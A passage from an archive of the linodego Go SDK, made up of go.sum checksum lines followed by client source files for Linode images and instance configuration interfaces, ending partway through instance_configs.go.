v1.5.0 h1:jlYHihg//f7RRwuPfptm04yp4s7O6Kw8EZiVYIGcH0g= github.com/golang/protobuf v0.0.0-20161109072736-4bd1920723d7/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4= github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA= github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no= github.com/google/martian/v3 v3.1.0 h1:wCKgOCHuUEVfsaQLpPSJb7VdYCdTVZQAuOdYm1yc/60= github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5 h1:zIaiqGYDQwa4HVx5wGRTXbx38Pqxjemn4BP98wpzpXo= github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0 h1:GOZbcHa3HfsPKPlmyPyN2KEohoMXOhdMbHrvbpl2QaA= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.5 h1:sjZBwGj9Jlw33ImPtvFviGYvseOtDM7hkSKB7+Tv3SM= github.com/googleapis/gnostic v0.0.0-20170729233727-0c5108395e2d/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY= github.com/googleapis/gnostic v0.1.0/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY= github.com/gophercloud/gophercloud v0.1.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8= github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI= github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7 h1:pdN6V1QBWetyv/0+wjACpqVH+eVULgEjkurDLq3goeM= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639 h1:mV02weKRL81bEnm8A0HT1/CAelMQDBuQIfLw8n+d6xI= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/jstemmer/go-junit-report v0.9.1 h1:6QPYqodiu3GuPL+7mfx+NwDdp2eTkp9IfEUpgAwUN0o= github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= github.com/kisielk/errcheck v1.5.0 h1:e8esj/e4R+SAOwFwN+n3zr0nYeCyeweozKfO23MvHzY= github.com/kisielk/gotool v1.0.0 h1:AV2c/EiW3KqPNT9ZKl07ehoAGi4C5/01Cfbblndcapg= github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw= github.com/linode/linodego v0.20.1 h1:Kw5Qes0E0wlKVx5EbITI+F/ambO6G+PQyK0Yi7i4EyQ= github.com/linode/linodego v0.20.1/go.mod h1:XOWXRHjqeU2uPS84tKLgfWIfTlv3TYzCS0io4GOQzEI= github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e h1:hB2xlXdHp/pmPZq0y3QnmWAArdw9PqbmotexnWx/FU8= github.com/maxatome/go-testdeep v1.11.0/go.mod h1:011SgQ6efzZYAen6fDn4BqQ+lUR72ysdyKe7Dyogw70= github.com/mitchellh/mapstructure v1.1.2 h1:fmNYVwqnSfB9mZU6OS2O6GsXM+wcskZDuKQzvN1EDeE= github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8= github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5 h1:8Q0qkMVC/MmWkpIdlvZgcv2o2jrlF6zqVOh7W5YHdMA= github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d h1:7PxY7LVfSZm7PEeBTyK1rj1gABdCO2mbri6GKO1cMDs= github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= github.com/onsi/ginkgo v1.11.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo/v2 v2.1.4/go.mod h1:um6tUpWM/cxCK3/FK8BXqEiUMUwRgSM4JXG47RKZmLU= github.com/onsi/ginkgo/v2 v2.9.1/go.mod h1:FEcmzVcCHl+4o9bQZVab+4dC9+j+91t2FHSzmGAPfuo= github.com/onsi/ginkgo/v2 v2.9.2/go.mod h1:WHcJJG2dIlcCqVfBAwUCrJxSPFb6v4azBwgxeMeDuts= github.com/onsi/ginkgo/v2 v2.9.4/go.mod h1:gCQYp2Q+kSoIj7ykSVb9nskRSsR6PUj4AiLywzIhbKM= github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/onsi/gomega v1.19.0/go.mod h1:LY+I3pBVzYsTBU1AnDwOSxaYi9WoWiqgwooUqq9yPro= github.com/onsi/gomega v1.27.3/go.mod h1:5vG284IBtfDAmDyrK+eGyZmUgUlmi+Wngqo557cZ6Gw= github.com/onsi/gomega v1.27.4/go.mod h1:riYq/GJKh8hhoM01HN6Vmuy93AarCXCBGpvFDK3q3fQ= github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg= github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e h1:aoZm08cpOy4WuID//EZDgcC4zIxODThtZNPirFr42+A= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4 h1:gQz4mCbXsO+nc9n1hCxHcGA3Zx3Eo+UHZoInFGUIXNM= github.com/rogpeppe/go-internal v1.3.0 h1:RR9dF3JtopPvtkroDZuVD7qquD0bnHlKSqaQhgwt8yk= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= github.com/spf13/afero v1.2.2 h1:5jhuqJyZCZf2JRofRvN/nIFgIWNzPa3/Vz8mYylgbWc= github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU= github.com/stretchr/objx v0.1.0 h1:4G4v2dO3VZwixGIRoQ5Lfboy6nUhCyYzaqnIAPPhYs4= github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/yuin/goldmark v1.2.1 h1:ruQGxdhGHe7FWOJPT0mKs5+pD2Xs1Bm/kdGlHO04FmM= github.com/yuin/goldmark v1.3.5 h1:dPmz1Snjq0kmkz159iL7S6WzdahUTHnHB5M56WFVifs= github.com/yuin/goldmark v1.4.13 h1:fVcFKWvrslecOb/tg+Cc05dkeYx540o0FuFt3nUVDoE= go.opencensus.io v0.23.0 h1:gqCw0LfLxScz8irSi8exQc7fyQ0fKQU/qnC/X8+V/1M= golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20200220183623-bac4c82f6975/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM= golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I= golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck= golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g= golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6 h1:QE6XYQK6naiK1EPAe1g/ILLxN5RBoH5xkJk3CqlMI/Y= golang.org/x/image v0.0.0-20190802002840-cff245a6509b h1:+qEpEAPhDZ1o0x3tHzZTQDArnOixOzGD9HUJfcg0mb4= golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5 h1:2M3HP5CCK1Si9FQhwnzYhXdG6DXeebvUHFpre8QvbyI= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028 h1:4+4C/Iv2U4fMZBiMCc98MG1In4gJY5YRhtpDNeDeHWs= golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20170114055629-f2499483f923/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.13.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= golang.org/x/tools v0.8.0/go.mod h1:JxBZ99ISMI5ViVkT1tr6tdNmXeTrcpVSD3vZ1RsRdN4= golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 h1:H2TDz8ibqkAF6YGhCdN3jS9O0/s90v0rJh3X/OLHEUk= golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= k8s.io/gengo v0.0.0-20210813121822-485abfe95c7c h1:GohjlNKauSai7gN4wsJkeZ3WAJx4Sh+oT/b5IYn5suA= k8s.io/gengo v0.0.0-20210813121822-485abfe95c7c/go.mod h1:FiNAH4ZV3gBg2Kwh89tzAEV2be7d5xI0vBa/VySYy3E= golang-github-linode-linodego-1.28.0/images.go000066400000000000000000000153361455402072200212040ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "io" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // ImageStatus represents the status of an Image. type ImageStatus string // ImageStatus options start with ImageStatus and include all Image statuses const ( ImageStatusCreating ImageStatus = "creating" ImageStatusPendingUpload ImageStatus = "pending_upload" ImageStatusAvailable ImageStatus = "available" ) // Image represents a deployable Image object for use with Linode Instances type Image struct { ID string `json:"id"` CreatedBy string `json:"created_by"` Capabilities []string `json:"capabilities"` Label string `json:"label"` Description string `json:"description"` Type string `json:"type"` Vendor string `json:"vendor"` Status ImageStatus `json:"status"` Size int `json:"size"` IsPublic bool `json:"is_public"` Deprecated bool `json:"deprecated"` Created *time.Time `json:"-"` Expiry *time.Time `json:"-"` } // ImageCreateOptions fields are those accepted by CreateImage type ImageCreateOptions struct { DiskID int `json:"disk_id"` Label string `json:"label"` Description string `json:"description,omitempty"` CloudInit bool `json:"cloud_init,omitempty"` } // ImageUpdateOptions fields are those accepted by UpdateImage type ImageUpdateOptions struct { Label string `json:"label,omitempty"` Description *string `json:"description,omitempty"` } // ImageCreateUploadResponse fields are those returned by CreateImageUpload type ImageCreateUploadResponse struct { Image *Image `json:"image"` UploadTo string `json:"upload_to"` } // ImageCreateUploadOptions fields are those accepted by CreateImageUpload type ImageCreateUploadOptions struct { Region string `json:"region"` Label string `json:"label"` Description string `json:"description,omitempty"` CloudInit bool `json:"cloud_init,omitempty"` } // ImageUploadOptions fields are those accepted by UploadImage type ImageUploadOptions struct { Region string `json:"region"` Label string `json:"label"` Description string `json:"description,omitempty"` CloudInit bool `json:"cloud_init"` Image io.Reader } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Image) UnmarshalJSON(b []byte) error { type Mask Image p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Expiry = (*time.Time)(p.Expiry) return nil } // GetUpdateOptions converts an Image to ImageUpdateOptions for use in UpdateImage func (i Image) GetUpdateOptions() (iu ImageUpdateOptions) { iu.Label = i.Label iu.Description = copyString(&i.Description) return } // ImagesPagedResponse represents a linode API response for listing of images type ImagesPagedResponse struct { *PageOptions Data []Image `json:"data"` } func (ImagesPagedResponse) endpoint(_ ...any) string { return "images" } func (resp *ImagesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(ImagesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*ImagesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListImages lists Images func (c *Client) ListImages(ctx context.Context, opts *ListOptions) ([]Image, error) { response := ImagesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetImage gets the Image with the provided ID func (c *Client) GetImage(ctx context.Context, imageID string) (*Image, error) { imageID = url.PathEscape(imageID) e := fmt.Sprintf("images/%s", imageID) req := c.R(ctx).SetResult(&Image{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Image), nil } // CreateImage creates an Image func (c *Client) CreateImage(ctx context.Context, opts ImageCreateOptions) (*Image, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "images" req := c.R(ctx).SetResult(&Image{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Image), nil } // UpdateImage updates the Image with the specified id func (c *Client) UpdateImage(ctx context.Context, imageID string, opts ImageUpdateOptions) (*Image, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } imageID = url.PathEscape(imageID) e := fmt.Sprintf("images/%s", imageID) req := c.R(ctx).SetResult(&Image{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Image), nil } // DeleteImage deletes the Image with the specified id func (c *Client) DeleteImage(ctx context.Context, imageID string) error { imageID = url.PathEscape(imageID) e := fmt.Sprintf("images/%s", imageID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // CreateImageUpload creates an Image and an upload URL func (c *Client) CreateImageUpload(ctx context.Context, opts ImageCreateUploadOptions) (*Image, string, error) { body, err := json.Marshal(opts) if err != nil { return nil, "", err } e := "images/upload" req := c.R(ctx).SetResult(&ImageCreateUploadResponse{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, "", err } result, ok := r.Result().(*ImageCreateUploadResponse) if !ok { return nil, "", fmt.Errorf("failed to parse result") } return result.Image, result.UploadTo, nil } // UploadImageToURL uploads the given image to the given upload URL func (c *Client) UploadImageToURL(ctx context.Context, uploadURL string, image io.Reader) error { // Linode-specific headers do not need to be sent to this endpoint req := resty.New().SetDebug(c.resty.Debug).R(). SetContext(ctx). SetContentLength(true). SetHeader("Content-Type", "application/octet-stream"). SetBody(image) _, err := coupleAPIErrors(req. Put(uploadURL)) return err } // UploadImage creates and uploads an image func (c *Client) UploadImage(ctx context.Context, opts ImageUploadOptions) (*Image, error) { image, uploadURL, err := c.CreateImageUpload(ctx, ImageCreateUploadOptions{ Label: opts.Label, Region: opts.Region, Description: opts.Description, CloudInit: opts.CloudInit, }) if err != nil { return nil, err } return image, c.UploadImageToURL(ctx, uploadURL, opts.Image) } golang-github-linode-linodego-1.28.0/instance_config_interfaces.go000066400000000000000000000126631455402072200252730ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" ) // InstanceConfigInterface contains information about a configuration's network interface type InstanceConfigInterface struct { ID int `json:"id"` IPAMAddress string `json:"ipam_address"` Label string `json:"label"` Purpose ConfigInterfacePurpose `json:"purpose"` Primary bool `json:"primary"` Active bool `json:"active"` VPCID *int `json:"vpc_id"` SubnetID *int `json:"subnet_id"` IPv4 *VPCIPv4 `json:"ipv4"` IPRanges []string `json:"ip_ranges"` } type VPCIPv4 struct { VPC string `json:"vpc,omitempty"` NAT1To1 *string `json:"nat_1_1,omitempty"` } type InstanceConfigInterfaceCreateOptions struct { IPAMAddress string `json:"ipam_address,omitempty"` Label string `json:"label,omitempty"` Purpose ConfigInterfacePurpose `json:"purpose,omitempty"` Primary bool `json:"primary,omitempty"` SubnetID *int `json:"subnet_id,omitempty"` IPv4 *VPCIPv4 `json:"ipv4,omitempty"` IPRanges []string `json:"ip_ranges,omitempty"` } type InstanceConfigInterfaceUpdateOptions struct { Primary bool `json:"primary,omitempty"` IPv4 *VPCIPv4 `json:"ipv4,omitempty"` IPRanges []string `json:"ip_ranges,omitempty"` } type InstanceConfigInterfacesReorderOptions struct { IDs []int `json:"ids"` } func getInstanceConfigInterfacesCreateOptionsList( interfaces []InstanceConfigInterface, ) []InstanceConfigInterfaceCreateOptions { interfaceOptsList := make([]InstanceConfigInterfaceCreateOptions, len(interfaces)) for index, configInterface := range interfaces { interfaceOptsList[index] = configInterface.GetCreateOptions() } return interfaceOptsList } func (i InstanceConfigInterface) GetCreateOptions() InstanceConfigInterfaceCreateOptions { opts := InstanceConfigInterfaceCreateOptions{ Label: i.Label, Purpose: i.Purpose, Primary: i.Primary, SubnetID: i.SubnetID, } if len(i.IPRanges) > 0 { opts.IPRanges = i.IPRanges } if i.Purpose == InterfacePurposeVPC && i.IPv4 != nil { opts.IPv4 = &VPCIPv4{ VPC: i.IPv4.VPC, NAT1To1: i.IPv4.NAT1To1, } } opts.IPAMAddress = i.IPAMAddress return opts } func (i InstanceConfigInterface) GetUpdateOptions() InstanceConfigInterfaceUpdateOptions { opts := InstanceConfigInterfaceUpdateOptions{ Primary: i.Primary, } if i.Purpose == InterfacePurposeVPC && i.IPv4 != nil { opts.IPv4 = &VPCIPv4{ VPC: i.IPv4.VPC, NAT1To1: i.IPv4.NAT1To1, } } if len(i.IPRanges) > 0 { opts.IPRanges = i.IPRanges } return opts } func (c *Client) AppendInstanceConfigInterface( ctx context.Context, linodeID int, configID int, opts InstanceConfigInterfaceCreateOptions, ) (*InstanceConfigInterface, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&InstanceConfigInterface{}).SetBody(string(body)) e := fmt.Sprintf("/linode/instances/%d/configs/%d/interfaces", linodeID, configID) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*InstanceConfigInterface), nil } func (c *Client) GetInstanceConfigInterface( ctx context.Context, linodeID int, configID int, interfaceID int, ) (*InstanceConfigInterface, error) { e := fmt.Sprintf( "linode/instances/%d/configs/%d/interfaces/%d", linodeID, configID, interfaceID, ) req := c.R(ctx).SetResult(&InstanceConfigInterface{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceConfigInterface), nil } func (c *Client) ListInstanceConfigInterfaces( ctx context.Context, linodeID int, configID int, ) ([]InstanceConfigInterface, error) { e := fmt.Sprintf( "linode/instances/%d/configs/%d/interfaces", linodeID, configID, ) req := c.R(ctx).SetResult([]InstanceConfigInterface{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return *r.Result().(*[]InstanceConfigInterface), nil } func (c *Client) UpdateInstanceConfigInterface( ctx context.Context, linodeID int, configID int, interfaceID int, opts InstanceConfigInterfaceUpdateOptions, ) (*InstanceConfigInterface, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf( "linode/instances/%d/configs/%d/interfaces/%d", linodeID, configID, interfaceID, ) req := c.R(ctx).SetResult(&InstanceConfigInterface{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*InstanceConfigInterface), nil } func (c *Client) DeleteInstanceConfigInterface( ctx context.Context, linodeID int, configID int, interfaceID int, ) error { e := fmt.Sprintf( "linode/instances/%d/configs/%d/interfaces/%d", linodeID, configID, interfaceID, ) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } func (c *Client) ReorderInstanceConfigInterfaces( ctx context.Context, linodeID int, configID int, opts InstanceConfigInterfacesReorderOptions, ) error { body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf( "linode/instances/%d/configs/%d/interfaces/order", linodeID, configID, ) req := c.R(ctx).SetBody(string(body)) _, err = coupleAPIErrors(req.Post(e)) return err } golang-github-linode-linodego-1.28.0/instance_configs.go000066400000000000000000000220031455402072200232400ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // InstanceConfig represents all of the settings that control the boot and run configuration of a Linode Instance type InstanceConfig struct { ID int `json:"id"` Label string `json:"label"` Comments string `json:"comments"` Devices *InstanceConfigDeviceMap `json:"devices"` Helpers *InstanceConfigHelpers `json:"helpers"` Interfaces []InstanceConfigInterface `json:"interfaces"` MemoryLimit int `json:"memory_limit"` Kernel string `json:"kernel"` InitRD *int `json:"init_rd"` RootDevice string `json:"root_device"` RunLevel string `json:"run_level"` VirtMode string `json:"virt_mode"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // InstanceConfigDevice contains either the DiskID or VolumeID assigned to a Config Device type InstanceConfigDevice struct { DiskID int `json:"disk_id,omitempty"` VolumeID int `json:"volume_id,omitempty"` } // InstanceConfigDeviceMap contains SDA-SDH InstanceConfigDevice settings type InstanceConfigDeviceMap struct { SDA *InstanceConfigDevice `json:"sda,omitempty"` SDB *InstanceConfigDevice `json:"sdb,omitempty"` SDC *InstanceConfigDevice `json:"sdc,omitempty"` SDD *InstanceConfigDevice `json:"sdd,omitempty"` SDE *InstanceConfigDevice `json:"sde,omitempty"` SDF *InstanceConfigDevice `json:"sdf,omitempty"` SDG *InstanceConfigDevice `json:"sdg,omitempty"` SDH *InstanceConfigDevice `json:"sdh,omitempty"` } // InstanceConfigHelpers are Instance Config options that control Linux distribution specific tweaks type InstanceConfigHelpers struct { UpdateDBDisabled bool `json:"updatedb_disabled"` Distro bool `json:"distro"` ModulesDep bool `json:"modules_dep"` Network bool `json:"network"` DevTmpFsAutomount bool `json:"devtmpfs_automount"` } // ConfigInterfacePurpose options start with InterfacePurpose and include all known interface purpose types type ConfigInterfacePurpose string const ( InterfacePurposePublic ConfigInterfacePurpose = "public" InterfacePurposeVLAN 